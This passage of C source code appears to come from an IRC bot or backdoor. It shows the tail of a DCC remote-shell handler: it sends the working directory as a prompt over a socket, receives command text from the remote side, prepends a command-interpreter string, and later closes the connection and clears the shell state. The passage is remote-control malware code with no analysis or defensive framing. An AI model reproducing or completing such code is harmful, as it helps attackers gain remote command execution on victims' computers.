          sizecpath = GetCurrentDirectory(sizeof(cpath),cpath);
          strcat(cpath,">\r\n");
          send(dcc->sock,cpath,sizecpath+3,0);
		  CloseHandle(dcc->hpipeoutR);
		  CloseHandle(dcc->hpipeoutW);
  		  memset(dcc->buffer,0,BUFFER_DCC);
		  dcc->size = recv(dcc->sock,dcc->buffer,BUFFER_DCC,0);
		  memset(cmd,0,sizeof(cmd));
		  strcat(cmd,command[version]);
		  strcat(cmd,dcc->buffer);
		  if(strchr(cmd,'\n')) memset(strchr(cmd,'\n'),0,1);
		  if(sscanf(dcc->buffer,"%s %s",cmd1,cmd2)==2)
			 {   memcpy(cpath,strstr(dcc->buffer,cmd2),sizeof(cpath));
		 		 if(strchr(cpath,'\n')) memset(strchr(cpath,'\n'),0,1);
				 strlwr(cmd1);
			 }
     }

    closesocket(dcc->sock);
	dcc->thread->shell=0;
	dcc->thread->command=0;
	return(TRUE);
}


